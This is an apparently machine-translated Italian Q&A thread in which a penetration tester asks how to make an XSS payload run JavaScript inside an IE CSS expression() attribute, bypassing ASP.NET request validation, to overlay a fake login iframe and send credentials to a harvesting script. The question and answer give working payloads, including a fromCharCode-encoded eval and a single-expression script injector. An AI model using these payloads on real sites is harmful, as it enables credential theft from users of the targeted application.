Chiamando le funzioni JavaScript dall'interno di un tag stile XSS

4

Ho identificato un XSS in un'applicazione di un cliente in cui non è riuscito a disinfettare correttamente una variabile. L'applicazione, tuttavia, è scritta in ASP.NET 2.x e hanno la convalida della richiesta attivata.

Sono a conoscenza della stringa sottostante, che ignorerà la convalida delle richieste e funzionerà su IE:

‹%tag style="xss:expression(alert(123))" ›

Tuttavia, ciò che voglio fare, piuttosto che mostrare al client una semplice finestra di avviso, è utilizzare l'XSS per generare dinamicamente un iframe a schermo intero della pagina di accesso dell'app e cambiarlo dopo l'azione su uno script di raccolta delle credenziali che mi ospita .

Ho il codice per generare questo iframe e so che funziona. Quello con cui sto lottando è ottenere una funzione JavaScript da eseguire all'interno dell'attributo style tag. Ho pensato che il modo migliore per ottenere questo sarebbe generare dinamicamente un nodo <script src=..> nel DOM. Tuttavia, anche se il codice funziona sicuramente, non verrà eseguito all'interno dell'attributo dello stile del tag.

Quindi qualche suggerimento su come ottenere l'esecuzione corretta del codice JavaScript da un attributo di stile? Ecco il mio codice corrente (che non funziona):

<%tag style="xss:expression(    
        function init()
                     {
         var nBody = document.getElementsByTagName('body')[0];
         var newInclude = document.createElement('script');
         newInclude.setAttribute('src','src.js');
         nBody.appendChild(newInclude);
         }

onload=init;
)">

Modifica : ho pensato anche di aggiungere che questo codice funziona quando convertito in unicode:

function test(){alert(1);}test();

<IMG STYLE="xss:expression(eval(String.fromCharCode(102, 117, 110, 99, 116, 105, 111, 110, 32, 116, 101, 115, 116, 40, 41, 123, 97, 108, 101, 114, 116, 40, 49, 41, 59, 125, 116, 101, 115, 116, 40, 41, 59)))">

    
posta Jingo 16.09.2013 - 23:22
fonte

1 risposta

3

Un expression() deve essere un'espressione JavaScript. Hai due istruzioni, una dichiarazione di funzione seguita da un'espressione di assegnazione. Farlo con una sola espressione di funzione funziona per me:

<div style="xss:expression(onload=function() {
    var newInclude = document.createElement('script');
    newInclude.src = 'src.js';
    document.body.appendChild(newInclude);
})">

(anche se mi sorprende un po 'che funzioni senza alcun livello aggiuntivo di CSS \nn di escape!)

    
risposta data 17.09.2013 - 09:54
fonte

Leggi altre domande sui tag